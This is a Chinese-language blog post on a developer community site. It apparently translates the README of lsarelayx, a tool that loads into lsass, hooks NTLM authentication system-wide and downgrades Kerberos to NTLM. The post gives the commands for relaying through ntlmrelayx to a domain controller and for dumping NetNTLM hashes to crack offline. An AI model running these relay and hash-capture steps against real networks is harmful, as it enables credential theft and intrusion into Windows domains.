前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows 的 NTLM 中继

Windows 的 NTLM 中继

原创
作者头像
Khan安全团队
发布2022-01-06 11:01:29
1.4K0
发布2022-01-06 11:01:29
举报
文章被收录于专栏:Khan安全团队Khan安全团队

lsarelayx 是系统范围的 NTLM 中继工具,旨在将传入的基于 NTLM 的身份验证中继到运行它的主机。lsarelayx 将中继任何传入的身份验证请求,其中包括 SMB。由于 lsarelayx 挂钩到现有的应用程序身份验证流,该工具还将在中继完成后尝试为原始身份验证请求提供服务。这将防止目标应用程序/协议显示错误,并为最终用户针对 lsarelayx 主机进行身份验证正常工作。

特征

  • 在系统范围内中继 NTLM 连接,包括 SMB、HTTP/HTTPS、LDAP/LDAPS 或任何其他实现 Windows 身份验证 API 的第三方应用程序。
  • 在可能的情况下,将传入的 Kerberos 身份验证请求降级为 NTLM。这将导致传统上尝试 Kerberos 身份验证的客户端回退到 NTLM。
  • 为中继用户执行 LDAP 查询以获取组成员身份信息并为原始请求创建正确的身份验证令牌。
  • 转储 NetNTLM 消息以供离线破解。
  • 支持不中继且仅转储捕获的 NetNTLM 哈希的被动模式(在此模式下没有 Kerberos 降级)。

怎么运行的

lsarelayx 分为三个部分。在 liblsarelay.dll 中实现的虚假 LSA 身份验证提供程序、作为控制接口的用户模式控制台应用程序和名为 RAW 的新 ntlmrelayx 服务器模块。

liblsarelayx.dll

liblsarelayx.dll 是由 lsarelayx 加载的 LSA 身份验证提供程序。它的主要目的是挂钩 NTLM 和 Negotiate 包,以便通过本地命名管道将身份验证请求重定向到 lsarelayx,以便中继和转储 NetNTLM 哈希。liblsarelayx 被设计得尽可能简单,其中所有繁重的工作都由 lsarelayx 执行

lsarelayx.exe

lsarelayx.exe 是主控制台应用程序,用于加载自定义 LSA 身份验证提供程序 (liblsarelayx.dll),侦听来自身份验证提供程序的传入 NTLM 和协商令牌,并中继到 ntlmrelayx 的 RAW 服务器模块。该工具还执行 LDAP 查询,用于捕获中继用户的组信息并将其传递回 LSA 身份验证提供程序。

RAW ntlmrelayx 模块

impacket 的 ntlmrelayx 已经实施了大量创建中继攻击的工作,并将在未来继续改进和增加进一步的攻击。为了利用这一优势直接在 lsarelayx 中重新实施攻击,创建了一个名为 RAW 的新 ntlmrelayx 服务器模块。目前在 GitHub 上有一个实现 RAW 服务器模块的PR。RAW 服务器模块与协议无关,旨在直接接受来自 lsarelayx 等 3rd 方软件的原始 NTLM 消息。

直到 PR 合并到主线 impacket repo 中,您才能使用此版本

用法

主动模式

首先启动ntmlrelayx RAW 服务器模块,监听从lsarelayx 传递过来的RAW NTLM 消息。

代码语言:javascript
复制
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan

Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

lsarelayx 本身需要本地管理员权限才能运行。要在主动中继模式下运行,需要指定 ntlmrelayx 运行原始服务器模块的主机地址。默认端口是 6666。这可以用--port参数覆盖,但请确保也使用--raw-port参数覆盖了 ntlmrelayx 端的端口。

代码语言:javascript
复制
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

被动模式

您还可以通过不带任何参数运行以被动模式运行 lsarelayx

代码语言:javascript
复制
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

注意事项

一旦将 liblsarelayx DLL 加载到 lsass 中,由于 LSA 插件工作方式的限制,目前您无法卸载它。可以关闭客户端,这将使 DLL 进入休眠状态,直到客户端再次启动,但 DLL 将一直使用,直到发生重新启动。

由于 LSA 插件实际上并不是真正的插件,因此计划在插件内部实现一个反射加载器,然后可以随意停止和启动,但这是另一天的练习。

开发是在 Windows 10 和 Server 2016 上进行的。在 Windows Server 2012 R2 上进行了快速测试,该测试有效,但挂钩偏移的计算可能会在 2012 上失败(这可以使用 手动提供lookuppackage-hint=,如果出错,Windows 将重新启动)。没有在桌面端 Windows 10 以下的任何东西上进行过测试,也没有在 Server 2019 上进行过任何测试。

!!警告!!

liblsarelayx.dll 将被加载到关键的 lsass.exe 进程中。如果 liblsarelayx.dll 有任何导致 lsass.exe 崩溃的错误,主机在 60 秒后重新启动。尽管已尽最大努力编写无错误代码,但我不能保证任何事情。不要向我哭诉您在使用 lsarelayx 后因为繁忙的文件服务器崩溃而关闭了您的财富 500 强客户端。

建造

码头工人

如果您安装了 docker,这是最快的选择。它利用ccob/windows_cross预安装了所有构建依赖项的映像。

Windows 上的 Docker (Powershell)
代码语言:javascript
复制
docker run --rm -it -v $env :pwd \: /root/lsarelayx ccob/windows_cross:latest /bin/bash -c " cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/ lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip "
Linux 上的 Docker
代码语言:javascript
复制
docker run --rm -it -v $( pwd ) :/root/lsarelayx ccob/windows_cross:latest /bin/bash -c " cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx /dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip "

Linux

在 Linux 上,我们使用 CMake 工具链和 MinGW 编译器。这些需要事先安装。对于托管组件,请确保也从 .NET core 安装了 dotnet 命令行工具

代码语言:javascript
复制
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip

Windows (Powershell)

在尝试构建之前,Windows 将需要完整的 CMake、MinGW 和 Visual Studio 设置,如果您没有安装开发环境,这是最痛苦的构建方式

代码语言:javascript
复制
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 特征
  • 怎么运行的
    • liblsarelayx.dll
      • lsarelayx.exe
        • RAW ntlmrelayx 模块
        • 用法
          • 主动模式
            • 被动模式
              • 注意事项
              • !!警告!!
              • 建造
                • 码头工人
                  • Windows 上的 Docker (Powershell)
                  • Linux 上的 Docker
                • Linux
                  • Windows (Powershell)
                  相关产品与服务
                  多因子身份认证
                  多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档